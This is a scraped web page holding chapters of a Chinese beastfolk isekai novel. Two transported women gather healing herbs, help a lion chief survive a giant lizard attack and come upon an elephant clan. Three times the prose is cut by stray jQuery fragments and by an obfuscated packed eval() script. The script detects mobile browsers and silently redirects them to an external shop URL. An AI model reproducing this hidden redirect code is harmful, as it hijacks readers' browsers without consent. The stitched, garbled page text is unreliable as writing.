$(''#content'').append(''
,猫着腰穿过了繁杂的挡路树枝,来到那棵草面前,试着用指甲面轻轻贴了贴那些可爱的小圈圈。
[蛇头草] 清热解毒、散瘀消肿、百毒克星。食用或外敷均可解毒,每次一条分支,一天内不得超过三次,新鲜使用最佳。
小东西长得这么别致,果然不是什么普通杂草!林千平惊喜地原地开挖,想着把这草整株端走,如果能顺利在容器里种活,那就再也不用担心林子里的毒虫毒蛇了。
她用羊皮兜起泥土和草,放进石锅里就喜滋滋地端回营地。兽人们现在虽然也习惯了把水烧开再喝,但在烹饪方式上仍是以直接烧烤为主。因而这些人当中就只有对美食颇为追求的莫克在翘首企盼着林千平回来,她刚端着石锅露面,莫克便迎上去要替她拿锅。
林千平躲过她的手,指挥着让莫克拿了个木碗来,仔细种下了蛇头草,这才把锅还给急着做饭的大熊。
莫克见她带回来一棵样子新奇的草,也不忙着去炒菜了,满怀期待地眨巴着眼问道:“这能吃吗?”
林千平:“...不能。”
“哦。”莫克顿时丧失兴趣,闷闷不乐地去洗锅了。
晚上,林千平吃过东西,忽然想起任务判定的事来。王清虞的部落离得这么近,也算是共同迁徙了吧?她欣喜地唤出任务栏,又失望地关上了那个讨厌的对话框。
任务进度毫无变化,仍显示着(1/3)的字样。这倒也算是在她的意料之中,如果仅仅一块儿往南走就能算共同迁徙的话,那也不必煞有介事地拿出来当个任务了。
林千平坐直身体,眯起眼看着不远处狮子部落的火光,有些想和王清虞偷偷私会一下。
要怎么把她叫出来呢?林千平琢磨几秒,借口要去上厕所,鬼鬼祟祟地溜到两个部落中间的位置腆着脸唱起歌来。
王清虞注意林千平的队伍已经有好一会儿了,从他们也扎营在这片空地开始,她的目光总是不受控制地往那个方向飘去。
邑对她的行为非常不满,一整个晚上都在故意找些什么事来引走妹妹的注意力。这会儿不知道那边的哪个笨蛋五音不全地唱起了歌,又把所有族人都引得频频转头侧目。
这歌声几乎就没踩在调上,唱的内容也让人听不懂,只能通过拉长的发音勉强猜出这大概是在唱歌。
两方队伍里的人都摸不着头脑地听着,只有王清虞不停挪动扭曲着嘴部肌肉,试图掩盖自己快要发笑的表情。
原因无它,林千平唱的正是曾经的某首大热英文歌曲,内容大约是妹妹锲而不舍地叫躲在房间里的姐姐出来玩,中间还混杂了几句特地强调“竹子”的改编歌词。
不出意外的话,这个世界上能听懂这首歌的也就只有她们两个了。
林千平扯着嗓子唱了两遍,一路顶着各种或诧异或不解的眼神回到帐篷里,僵硬地背对着门口缓缓蹲下。
希望王清虞能听到她的呼唤吧……姐姐,你的音痴妹妹在等你啊!!
31.兽人
午夜的月亮安静、皎洁,像一位沉默的观众,注视着深夜里所发生的那些不为人知的事。
林千平带着克西,骗过了守夜的牦牛塔维,说要去找一种只在月光下开花的草药,顺利地从营地溜到了那片小竹林。
王清虞已经在林边等着了,棕黄色的发丝在明亮的月光下泛着模糊的柔边,林千平忍不住笑意,高高坐在克西背上朝她招手。
三人在竹林边的缓坡坐下,克西识趣地坐在更高一些的地方,把叙旧的空间让给这对总是分别的姐妹。
永不疲倦的河水从面前流过,水声、风声、还有青草的气息,令这两位异乡者又生出些此刻只是坐在某个漂亮景区里的错觉。
“对了,这个给你。”王清虞把一个兽皮做的挎包递给林千平。
这包样式简单,针脚十分整齐,一看就是王清虞自己做的。包里鼓鼓囊囊地装着好几块粉白色的岩盐,林千平欣喜地拿出一小块尝了尝味道,随即便问她:“哪来这么多盐?”
“我们部落附近有一个盐矿,这是我上次额外捡的,其他人都不知道,你放心用。”王清虞眉飞色舞地向她邀功,显然是对自己未卜先知的周到考虑相当得意:“你那个队伍每天光忙着赶路了吧,我一猜就知道你们根本没功夫去找盐。”
林千平笑嘻嘻地顺着她的话夸了好几句彩虹屁,手里一刻不停地就把包给挎上了。
“你们接下来要往哪走?”
“还不清楚,先往南吧?”看卓娅的意思,他们大约还要再多走一段路,先得远离森林边缘的瘴气才行。
“靠近森林中心有条更大的河流,我们准备搬到那附近。”丛狮部落世代居住在草原和森林交界处,虽然未曾在森林定居,但也对里面的情况略知一二。
林千平了然地点点头:“我会想办法让他们跟着的,时间久了,说不定慢慢就能一起行动了。”
“哎,我的任务咋办啊?”理清了林千平的任务,王清虞又不得不操心起自己来:“我要在一年之内当上首领,但是我根本打不过现在的头狮啊……”
她抱怨着兽人争夺首领的规则,叽叽咕咕地分析了一通那群狮子的实力和复杂的人际关系,林千平听了一耳朵姐姐妹妹祖母姨妈的光辉历史和性格解析,艰难地抓住要点:“啊,就是你还有一个姐姐,她也是有实力竞争首领的对吧?那为什么只给你画了这个……标记呢?”
林千平在自己的眼下比划着,那两条红竖线看起来淡了不少,倒显得不那么诡异了。
王清虞提到这个姐姐就想翻白眼,她语气愤懑地回道:“她说她懒得跟我争这个位置,不然我根本不可能有机会成为竞争者……不是,话又说得那么好听,平时还不是天天盯着我给我找事!我上回和她出去狩猎,她居然要所有人连夜分头去追踪一群鹿!那鹿到底有什么好的!……”
林千平听着她熟悉的语速,心情不知不觉愈发放松舒畅,仿佛自己所受到的困难和劳累都从王清虞那张灵活的嘴里吐了出去,一通发泄下来,两个人竟都觉得松快异常。
“你先试着争取一下你们部落的首领位置吧,要实在不行,我们干脆就自己组一个部落。”临到分别的时候,林千平才说出了自己的想法。她对这个任务的目的似乎有些预感,却又拿不准答案,便先给了个折中的办法。
王清虞露出个“那就这样吧”的表情,又弯起眼睛笑着和她道别。
一道难题,两个人来解,就算都不是诸葛亮,凑一凑也算能当个臭皮匠。这样总比一个人独自烦恼要更好些,对吧?
要抵达那条更大的河流并不是件容易的事,两支队伍顺着这条小河断断续续地走了半个多月,也才将将绕开了常有瘴气出没的那片区域。
在森林里行走要比在草原上困难多了,倒伏的大树、崎岖的碎石、密布着低矮植物的泥泞土地,还有藏在暗处随时可能突然攻击的其他生物,这一路的阻碍多少拉近了一些两方兽人之间的距离。
至少年轻的狮子们已经会主动参与小狼队的合作捕猎,而在林千平的有意引导下,队伍里其他的兽人们也不再对丛狮部落抱有恶感。
那袋珍贵的岩盐则被林千平解释为对方部落下一任首领的示好,卓娅和阿祖雅虽然没说什么,但能明显感觉出来她们更加信任丛狮部落的前进路线了。
丛林中的猎物数量丰富,植物更是应有尽有。林千平在无奈晒干第三株蛇头草之后,终于用竹筒养活了一棵,同样被她精心养护起来的还有几株种在一个竹筒里的合骨草。
猎豹阿莱的腿在他们进入森林后没多久就完全长好了,林千平难以置信地检查过十多回,他的腿骨竟然真的就在短短几天时间内完全愈合。没有后遗症,也没有瘸腿或歪斜的迹象,林千平自此彻底被这片大陆上的神奇草药所折服,每天走在路上都要四处戳戳碰碰。这种莽撞且原始的方式倒还真让她收集到好几种功效特别的药草,队伍里的其他人也在她的影响下,留意起这些有用的植物来。
他们一路南下,顺着河流走到一处断崖边,河水从石头顶一跃而下,在山间化作一条壮阔又瑰丽的瀑布。巨大的水流打在下方河面上,发出震耳欲聋的巨响,就连兽人间的说话声都要被盖过。
瀑布边的石头湿滑,断崖也太过陡峭,他们只能选择进入旁边的密林,从其中找寻安全向下的道路。
除了必要的狩猎和采集工作,兽人们都会尽量避免带着队伍深入森林,一方面是迷路的成本太高,更重要的原因则是森林里常常危机四伏,一旦遭遇袭击或意外,他们很难及时护住体质较弱的族人和幼崽们。
进入密林后,几乎所有人都打起了十二万分的精神,一刻不停地调动着五感分辨四周可能潜藏的危险。
队伍中萦绕着紧张的气氛,周围除了人们经过草叶时发出的沙沙声,便只剩下偶尔不知从哪个角落传来的虫鸣和鸟叫。
“小心!”前方丛狮部落的队伍里传来一阵令人不安的骚动,林千平听出这是王清虞的声音,心一下被狠狠揪起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286822|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,悬在嗓子眼里狂跳不止。
周围的兽人们迅速形成了保护圈,警惕地注意着前方的危险,走在最前面的卓娅和阿祖雅很快就弄清了现状——有三只巨大而丑陋的爬行动物正在向前方的狮群发动攻击,领头的那只狮子甚至已经被咬住了腹部!
黍痛苦地侧倒在地上,浑身血液都在朝伤口涌去,那只巨蜥的牙齿深陷在她的皮肉中,只消她一回转身体,就要被尖牙撕破肚皮、内脏淌满一地。
其他人都在抵抗其他两只巨蜥的进攻,邑从混乱的队伍中冲出来,发狂似地冲上去撕咬那只不肯松口的怪物。巨蜥的皮肤又厚又韧,还长着怪异的突起,狮子的犬牙根本无从刺入,邑只在它腿上制造出几个小伤口,就被扫过来的长尾掀翻在地。
王清虞是第一个出声提醒黍的人,她离得最近,发现得最早,但仍是晚了一步。黍为了撞开她,不惜把自己送到巨蜥嘴下。
此时,她正含着石刀,爬到了附近的一棵高树上。
她没有用兽形战斗的经验,但她当了二十几年的人类,如何用灵活的人形取胜,才是她最精通的战术。
王清虞所学的防身术不光锻炼了身体的机能,更重要的是教会了她打架的真正精髓——
抓住弱点,照死里打!
她握紧石刀,看准时机纵身跳到巨蜥身上,将手中精心打磨过的尖刀狠狠插进了它的左眼!
巨蜥吃痛惊叫,松开了死咬住黍的大嘴,再次从远处爬起身的邑抓住机会,重新扑回巨蜥脚下,冲着它露出的肚皮大咬一口!
握着石刀试图保持身体稳定的王清虞差点被打滚的巨蜥压在身下,她趁邑攻击的时候使劲拔出尖刀,又猛戳进另一只眼睛。
巨蜥仰面翻倒在地上,痛苦地挣扎着,王清虞躲开它乱挥的尾巴,再次爬上它的身体,抡起拳头不停猛击着巨蜥的脖颈。
兽人的身体继承了野兽狂放的基因,强悍、结实、充满力量,王清虞从未体验过如此澎湃的战意,她的拳头比过去更加坚硬而有力,每一次重重打在巨蜥身上时都令她浑身沸腾,几乎就要畅快地吼叫起来。
粗糙的巨蜥皮肤划破了她的手,脚下的怪物已经脖颈断裂,扭曲地瘫死在地上。她手脚麻软地站起身,恍惚地在人群中想要找到黍的身影。
林千平被一只狮子驮着,两下就挤到被团团围住的黍身边。两支队伍虽然被打了个措手不及,但也很快反应过来,合力阻挡着巨蜥的攻击。
黍的伤势最为严重,那个有着金棕长发的女人只是说了两句情况,林千平就毫不犹豫地爬上了她的背,来到这位骁勇的首领面前。
黍仍保持着兽形,肚子的上四个洞已经不再冒血,伤口附近的皮肤呈现出一种诡异的黑紫色。林千平把手伸进兽皮口袋里,已经摸到蛇头草圆圆的小分支,马上就要拿出来时,动作却突然停滞,似乎有谁在口袋里拉住了她一样。
林千平看着身下呼吸微弱的黍,缓缓将手从那个沾满泥土的简陋袋子里抽了出来。
32.兽人
在所有人的努力下,三只巨蜥最终都被杀死。众人疲惫不堪,决定就在附近相对空旷的地方扎营休息。
两支队伍里都有人受伤,好在并不严重。林千平替莫克上好药,拎着自己的草药口袋回到帐篷边。
他们的帐篷还是那么小,可以挤着坐两个人,但只能供一个人躺着。
此时,里面已经躺着一个人了。林千平蹲在帐篷外,情绪复杂地看着窝在兽皮垫子上的王清虞。
“你怎么了?”王清虞发现了她,直起身要她也进来坐着。
林千平挤进帐篷,脑袋贴着支撑兽皮的树枝,盯着地上的口袋一言不发。
帐篷外的其他人正忙着给巨蜥剥皮,这怪物的肉大概有毒,但那身厚皮倒是做护甲的好材料。
帐篷里的两个人脚碰脚、肩挨肩,气氛低沉而凝固。王清虞本想向好友分享自己徒手单杀巨蜥的壮举,却被林千平几欲落泪的表情驱走了那几分不值一提的快意。
“没事,没事,我们都好好的呢?”她把林千平揽进怀里,轻声安慰起来。
林千平埋在她胸前,悄悄哭了一小会儿,随后深吸几口气,声线仍有些颤抖地告诉她缘由:“我刚才……犹豫了。”
“什么?”
“黍在我面前,我犹豫了。”
那突然被恶魔牵住手的一瞬间,她想起了两人来到这里的目的。
不是当狮子、不是野外求生、不是和兽人们过家家,她们需要完成任务,然后最好就能一起逃离这个鬼地方。
其他人的生命,最终也和她们没有多少关系。她只要拿出一株止血的草药随便用用,黍就会被巨蜥的毒素侵蚀而死,王清虞便能顺利成章地当上首领,轻松完成任务。
她心动了,这完全是最“正确”的选择,最“标准”的解法。
黍的胸膛仍在起伏,身体也尚有温度。林千平抚摸过她的皮毛,有些硬,有些糙,但是很温暖,很有活力。
人不能这样,至少我不能。她想。
“但是你没有。”王清虞完全能够理解林千平的痛苦,她的这位朋友实际上是个相当固执的人。
她的共情能力很强,就连玩游戏时也不喜欢随便乱杀npc。她虽然有时看起来离经叛道、毫无底线,但其实只是因为她自有一套属于自己的道德标准。而在自我的规则里,她对自己的要求可以说是近乎苛刻的。
“而且你只是犹豫了,并没有立刻就决定放弃救她,对吗?”
林千平在她怀里拱了拱,似是在点头。
“你做得很好,黍救了我,你又救了她。这就等于是你救了我吧?”王清虞借着自己的逻辑矛盾开了会儿玩笑,接着又认真地说道:“世界就应该是这样的,你帮助我,我拯救她。哪怕这里并不是我们的世界。”
“再说了,我们这么厉害,完全可以自立山头当大王啊!我跟你说,那只巨蜥是我空手打死的!简直不要太强了好吧?就我们俩这样的出去建部落,完全手到擒来……”
黍的伤势相对稳定,毒素已经消退,但仍在昏迷当中。邑本想主张把营地搬远一点,最好能躲开那群讨厌的食草动物。但等她从黍的帐篷里忙完出来后却发现,两方兽人早已和和气气地混住在了一块。
卓娅把她们队伍里的帐篷都贡献了出来,安排受伤的人统一住进去,方便图姊和丛狮部落的医者挨个查房换药。
兽人们多是受到撕裂或划破的外伤,重一些的则是因被踩踏或是被抛击而导致的骨折、骨裂。
林千平的合骨草被薅得只剩下两三棵,蛇头草也拿了一棵出来为大家解毒。她经王清虞开导后,心情已经平复许多,每天都会干劲十足地为伤员们煮些补身体的难喝汤药。
伦拿着两把小串烤肉坐到邑的身边,她看看好友比往常更臭几分的脸色,笑眯眯地朝那双空着的手里塞了一把喷香的肉串。
“尝尝吧,那边那个黑熊弄出来的,还怪好吃咧。”她一边催促,一边往自己嘴里塞着肉。
邑低头看看手里的肉,大小均匀地穿在小树枝上,表皮呈现出美味的焦褐色,这应该是刚从火上拿来的,脂肪融化出的油脂还在滋滋作响。鼻尖能闻到的除了肉香,似乎还有些其他味道。
她游移不定地稍稍尝了一口,有些意外地看着旁边已经吃完了肉,正嗦着树枝回味的伦。
“好吃吧?上面听说涂了什么果子,甜甜咸咸,挺有意思。”伦咬着手里的小树枝,示意她赶紧吃:“凉了就不好吃了。”
邑吃完肉,仍旧沉着脸在原地坐着。她身下是块高一点的石头,能让她看见营地里大多数人的动向。
伦却从她的神情里品出些放松的意味来,她把邑手里捏着的树枝抽走,清清嗓子假装随意地说道:“那个,他们领头的,有点厉害啊,能管那么多会做事的人。”
无人回应她的话,邑还是一动不动地坐着。伦知道这是默许她继续往下说的意思,便露出个了然的表情接着感叹:“什么草药啊果子的,一堆人都认识,比槲婆婆认得还多呢?还有那谁,哎,叫什么来的……”
“你没正事要做吗?”邑突然出声,打断了伦的滔滔不绝。
“有有有,现在有了。”伦无奈地爬起身,自觉主动地把自己扫下石头,临了又犯嘴贱,吧唧两下嘴唇吐出来一句:“我觉得跟他们一块上路也挺好的。”就脚底抹油地溜走了。
邑看着她又跑回火塘边要吃的,嘴角很轻地向上抬了抬。她捻着手上残留的黏糊汁水,若有所思地继续盯着黍所在的帐篷。
黍在第四天清晨醒来,她从没在帐篷里躺过这么长时间,全身像是被抽光筋骨一般酸软。肚子上的伤口被兽皮包扎着,动起来时还有些发疼。嘴里不知道进过什么东西,留下的味道又苦又臭,她咂巴着干涩的嘴唇,连自己的口水都没法往下咽。
今天轮到邑在外陪护,她在凌晨时分才微微打了会儿盹,帐篷里传来的轻微声响便像是从梦里带出来的幻觉一般,她木然地转头去看,就见垂下的兽皮正在不自然地抖动。
邑轻轻掀开兽皮,尽量动作轻柔地钻进帐篷。她看到母亲眼神明亮,如同曾经普通的每一天早晨那样温和地看着她。
“我……”黍的声音干哑,几乎说不清话。邑低下头,激动而颤抖地说道:“我去拿水。”
王清虞正在火塘边值守,她见邑几乎手脚并用地从帐篷里出来,心脏跟着一通大跳,甚至连邑的表情都顾不上细看,窜起来就直冲进帐篷。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294712|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>林千平还在睡梦中,突然就被人从克西身上拽了起来。揪她的人动作急切,但明显收着力气没有攥疼她。克西一个翻身从地上爬起来,带着半边身子的土坐在原地,有些茫然地收回爪子,看着林千平匆匆跟在那只金发狮子身后跑远了。
黍的帐篷前挤满了人,有来表达关心的,还有来看热闹的,全都呜呜嗡嗡地聊着和这位狮子首领有关的事情。
林千平的医学知识其实相当有限,只是这个世界过于原始,而那些草药又太过神奇,这才显得她似乎医术高超、无所不能。所有人此时都站在帐篷前眼巴巴地看着她,希望她能为黍的身体状况做个总结。
王清虞躲过林千平投来的眼神,嘴巴又在左右努动着憋笑。
林千平朝她翻了个隐蔽的白眼,找来丛狮部落的医者耳语了几句。
“首领已经醒了!再多休息几天就能行动……”这位白白瘦瘦的老太太高兴地向人群宣布了这个好消息,狮子们齐齐欢呼起来,完全淹没了她剩下的话。
黍吃过软烂的肉菜汤,靠在邑的身上听完了最近几天所发生的事。邑虽然刻意简化了卓娅她们所做的工作,黍却仍是机敏地注意到了那支队伍出色的团队氛围。
各司其职、相互合作,每个人都在用自己最擅长的能力为所有人提供帮助,同时也享受着来自于其他人的服务。没有人计较强弱,也没有上下级之间的命令与服从,他们自然地在集体中承担着不同的工作。
责任和困难像天幕一样罩在每个人头上,又被他们轻松地一同撑起。
“邑,你认为他们能成为很好的伙伴吗?”黍已经恢复不少力气,她坐直身子,歪头去看女儿的表情。
邑松开扶着黍肩膀的手,没有说话。
黍很了解她的这个孩子,邑看起来脾气冷漠、难以琢磨,实际却相当好懂。性格上甚至有些单纯和幼稚。她不擅长说违心的话,只要是心里认定的事情或想法被挑明,便很少会出言否定。
“那就说明,他们已经是了。”
最近这几天,狮子们和卓娅队伍里的兽人们关系愈发变得亲密,他们一起养伤、狩猎、做饭、守夜,许多人都新交到了好友,每天挤在一块同吃同住的更是大有人在。
王清虞终于得以顺理成章地像上学时一样和林千平天天粘在一起,只不过这回她们身边总会跟着一个大大咧咧的老虎克西。
这三人相处得倒是十分融洽,克西似乎把王清虞当成了自己的第二个妹妹,即使是林千平不在的时候,也常常贴着她东问西问地表达关心。
只是这两个妹妹经常会说些克西听不懂的东西,偶尔还会忽地一起激动起来,就像现在这样。
她们刚才在吃一种名字叫做“香蕉”的果子。克西正往外吐核呢,嘴里黏黏糊糊塞着果肉的林千平突然就兴奋地拍了一把旁边的小狮子。两个人没想起来吐核也不知道往下咽咽东西,呜呜嗯嗯说着话,手舞足蹈地比划了几下就抱在一起开心地转起圈圈。
克西吃着香蕉,不明所以但同样快乐地看着这两个高兴的小疯子。
林千平晕头转脑地坐下,眼前半透明的对话框还未关闭,上面清晰地写着几个字:
[南方]共同迁徙(2/3)
33.兽人
黍虽然醒了,但伤口还未好全,因此他们在原地又多待了几天。丛狮部落里的大多数人都已默许了卓娅的队伍融入他们,只是有些人似乎没那么服气。
邑将一头长着弯角的野牛撂在卓娅面前,她没说话,只盯着卓娅的眼睛朝地上的猎物抬抬下巴,随后便转身离开。
这已经是她第四次把打来的猎物放在食草兽人跟前了,要说只是让人家来剥皮分解倒也罢,可她偏偏就要把那些动物放在和它们兽形相似的人面前。结合她过往对待食草兽人的轻蔑态度来看,即使是最迟钝的兽人也都能感觉出来不对劲。
林千平从第三回就觉出些奇怪的意味,这回见她直接在卓娅面前示威,惊得连水果都不吃了,拉上王清虞就躲到一边悄悄观察,计划着要是打起来了该怎么上去劝架。
那三个食草兽人聚在卓娅身边,悄声细语地不知道在说些什么。邑又进了黍的帐篷,其他人都忙着自己手头上的事,没多少人注意到这头野牛旁边的微妙氛围。
伦作为邑的好友,心思比她要细腻得多,几乎算得上是这群年轻兽人里最先懂得人情世故的小聪明蛋。她虽然不清楚邑前几次的无礼行为,但很快就从卓娅和那几个食草兽人的脸上读出了不悦的情绪。
于是她便腆着笑脸凑上前去拖走了野牛,并表示由自己去河边剥皮处理,还为邑粗鲁的举动连声道歉,点头哈腰地在那几人面前表演了一通。
林千平蹲在一旁假装正在研究草绳,和王清虞一人扯开卷好的绳子,一人又把绳子给盘回去,永动机一样边忙边八卦:“你姐姐一直这样吗?这么……嗯。”
王清虞回了她一个“你说呢?”的无奈眼神。
伦把牛拖到角落,随便找了个族人帮忙接手屠宰工作,自己则气势汹汹地走到黍的帐篷前,轻声把邑叫了出来。
“你什么意思啊?不是不那样了吗?这两天怎么又这样了?”二人又移动到邑常坐的那块高石头附近,伦皱着眉头压着声音上来就是几句语气凶猛的质问。
邑怪异地看着她:“我哪样了?”火气也跟着冒起来。
“你把羚羊放在人家岩羊面前、角鹿放在梅花鹿跟前、野牛放人首领面前!卓娅是牦牛你忘了吗?!”伦越说越激动,脸上是难以置信的夸张表情:“你到底想干嘛啊?想示威还是要打架?黍可是他们救回来的!”
“你到底什么意思?示威?我有那么幼稚吗?”邑被她的话弄得莫名其妙又火冒三丈,声音不自觉地就大了起来。
正和林千平搬着块石板装作路过的王清虞:你有啊!你完全幼稚啊!!
伦平复了一会儿情绪,重新压低了声音:“我知道你还是觉得他们太弱又不擅长狩猎,但是食草兽人和野兽总归是有区别的啊,你怎么能把猎物特意摆到就是那个兽形的人面前呢?黍每天可还得换药呢,你现在就去得罪人家?”
邑终于明白了她说的究竟是怎么一回事,气势也弱了几分,游移不定地问道:“我有吗?”
停在两人背后研究石板纹路的林王二人:……姐姐你原来是天然呆来的吗?
伦最终欲哭无泪地让邑明白了她的无心之举究竟会造成多大的误会,两个人又找到那几位食草兽人,在卓娅面前一一表明了自己的歉意。
邑其实是听懂了黍对于分工合作、发挥特长的团体生活的分析和赞许,只是她天生少了点感知气氛的能力,又实在“恶名远扬”,才导致了这场荒谬的乌龙事件。
等同于半个监护人的伦说了几句好话,对邑的态度转变相当满意,欣慰地就要带着她离开。
“如果你们需要狩猎指导的话,可以随时来找我。”邑张开嘴,又补充道。
伦站在她旁边,表情崩裂地杵了一下她的腰,她便像个道歉机器人一样立马吐出句斩钉截铁的“对不起。”
卓娅和另三位兽人齐齐笑开,邑在笑声中不明所以地眨着眼,被伦推着走远了。
自那以后,王清虞觉得邑的脾气似乎不再那么冷淡,她开始不时地主动来和王清虞聊些什么。或是黍的身体状况,又或是今天打来哪些猎物、要怎么处理才最好。虽然每回对话的时间都不长,但这些天加在一起已经远远超过了在草原时王清虞和她说过的话。
林千平认为这完全就是伦的功劳。伦是个社交能力十分强悍的开朗姑娘,两个队伍之间上到老人下至幼崽,谁都能和她聊上几句。如果单说性格的话,她倒比邑更像是黍的孩子。事实上的情况倒也大差不离,伦是流浪到丛狮部落的,从小吃着百家饭长大,跟在邑身边管束她更多的也是为了报答黍的恩情。
她是最能理解集体重要性的人,因而当部落里需要有人前往北方探查情况的时候,她第一个就站了出来。这一去就是快一个多月,王清虞便直到临近搬家时才见到她。
伦回来的那天,邑并不在部落里,王清虞当时并没有觉得她俩是什么很好的朋友,邑见到风尘仆仆、憔悴不堪的伦时,也仅仅只是沉默着帮忙拿走了她不多的行李。现在回想起来,邑那个时候似乎的确显露出了一些微妙而独特的表情。
“什么表情?什么样的,你仔细给我说说。”伦揽着王清虞的肩膀,两个人头贴头脚绊脚地往前走着。
一行人此时已经重新上路,黍的身体强悍,林千平又天天给她灌那种用补血草煮的难喝汤药,伤口早就好得七七八八,只是还不能太过剧烈地运动,因此仍保持着人形。由于需要配合伤员们的行动速度,再加上森林里地形复杂,因而所有人全都变作人形,正背着前些天赶制出来的竹背篓前进。
王清虞看了两眼就在前面走着的邑,支支吾吾地小声咕哝:“那个吧,有点担心、又有点高兴……”
“那是担心多一点呢,还是高兴多一点呢?”伦立时乐了,又朝她凑近几分,催促着要人说个明白。
“你玩够了吗。”邑的声音从装满行李的大背篓后面传来,语气平淡,听不出情绪。
“我在加深姐妹感情呀,正事呢。”伦嬉皮笑脸地回她,不再继续追问表情含量,转而聊起其他不痛不痒的日常话题。
林千平在她俩身边走着,听她提起草原上的见闻,忽然想起什么似的问了一嘴:“诶,怎么没见过野生的……呃,食肉动物呢?”
这问题似乎有些敏感,话音刚落,她就明显感觉到几个方向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300106|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都有人投来视线。
“都被杀光了啊,至少我们草原是这样。”伦满不在意地说道。
就像狮子和老虎不可能生活在同一块土地上一样,顶级捕食者往往具有强烈的排他性。一个区域内的资源所能供养的食肉动物是有限的,这便能解释为什么丛狮部落明明是一个完整的部落,族人数量却比卓娅的队伍人数还要少。
林千平有种说不上来的感觉,伦很快提起新的话题,又嘚吧嘚吧地说起来:“听说有一种食草兽人体型巨大,食肉兽人要是单独和他们打架根本不是对手……你们知道那是什么种族吗?”
王清虞眼睛转溜两下,脱口而出:“大象吧?”
伦惊讶地看着她:“你怎么知道?”
林千平在旁边长长地“诶”了一声:“是啊,怎么在草原上都没见到过大象呢?”
伦的脑袋又忽地转过去:“你怎么也知道?!”
见她如此讶异,林千平没来由地心虚起来:“那我是应该不知道吗……”
“那你应当也听过他们的传说了?”
“不是……呃,王……清没听过,你再说说给她听呗。”林千平脚下绊了一跤,借着平衡身体的时机想了个把问题抛回去的好回答。
伦收回揪着她胳膊的手,清清嗓子眉飞色舞地讲述起来。
大象一族曾经同样生活在草原上,他们体型庞大,皮肤厚实,长着长长的尖牙和鼻子,力气也相当出色。凭借这些优越的身体条件,压根没有食肉动物敢去招惹他们。他们性格温和,十分聪明,和其他种族的兽人基本都保持着良好的关系,哪怕像丛狮部落这样全是食肉兽人的部落,都与他们有着不浅的交情。
他们块头大,吃得也多,因而经常需要四处迁徙寻找食物,草原上的居民对于他们的消失起初并不在意。但过了很长一段时间,他们仍旧没有再出现,有人说他们是搬到了更远的地方,更多的人则认为他们应当是遇见什么无法避免的灾难,全族灭亡了。
直到现在,近两代的草原兽人几乎都没有见过大象的模样,对于邑这样的年轻一辈来说,甚至连象的名字都没有听说过。
“你又是怎么知道的?”王清虞敏锐发问。
“我上回出门,听一只老鬣狗说的。”伦感叹道:“不知道往南走能不能找到他们……我还没见过那么厉害的食草兽人呢。”
邑不知道什么时候走在了她们后面,此时幽幽地开了腔:“这种故事你也信?”
她话音未落,前头的林子里就传来一声惊天动地的象鸣,随即便是一阵让大地都轻微颤动的脚步声。
天空中乍然飞出许多被震起的惊鸟,所有兽人都摆出或防御或进攻的姿态,好几个背篓被摔在地上,他们的主人正四脚着地,炸着毛警惕地朝前方探去。
除了面面相觑的两个异乡人之外,这支队伍里正巧还有一个人知道这声鸣叫属于什么动物。
白白瘦瘦的槲婆婆睁开总是半垂着的眼睛,抓着身旁发号施令的黍惊喜地叫起来:“是象族!我听过他们的声音!”
随后她便听清了那声音里传来的惊恐和慌乱:“黍,快去帮帮他们!”
34.兽人
姬和克西走在队伍最前头,接到指示后很快便穿过一片茂盛的树丛,来到一棵无比粗壮的大树之下。她们这才发现,刚才走一路走来所看到的遮天蔽日的树枝竟然全是从这一棵树上长出来的。
克西很快发现不对,紧急往左侧挡,拦住了就要冲到前面去的姬。
那只惊惧不已的庞然大物脚下,层层草叶中,有无数色彩各异的花纹正在游动。姬看清了那些浮动着的颜色,不禁倒吸一口凉气——这片不大的区域里竟爬满了数不清的蛇类!
成年大象体型巨大,光凭体重就能踩断动物的脊柱,此时它的脚下已经踏出一片血肉模糊的草坑,但仍旧迟迟无法脱身。蛇群数量众多,其中或许还有不少毒蛇,它的行动迟缓钝拙,显然已经中了毒。
正当两人还在商量对付毒蛇的办法时,身旁突然飞快地掠过了一道翠绿色的身影。
“图姊!”克西惊喜地看着她,同样从空中飞来的兽皮口袋砸到她脸上,散开的驱虫草落满一地。这些草闻起来与平时不同,散发着一股强烈的刺鼻味道。克西忍着鼻头瘙痒,抓起草叶四处挥洒。
图姊的原型是行动灵敏的绿曼巴蛇,兽人的体型通常会比同种族的野兽们大上几号,因此她的兽形虽是毒蛇,身体却粗壮得像只巨蟒。
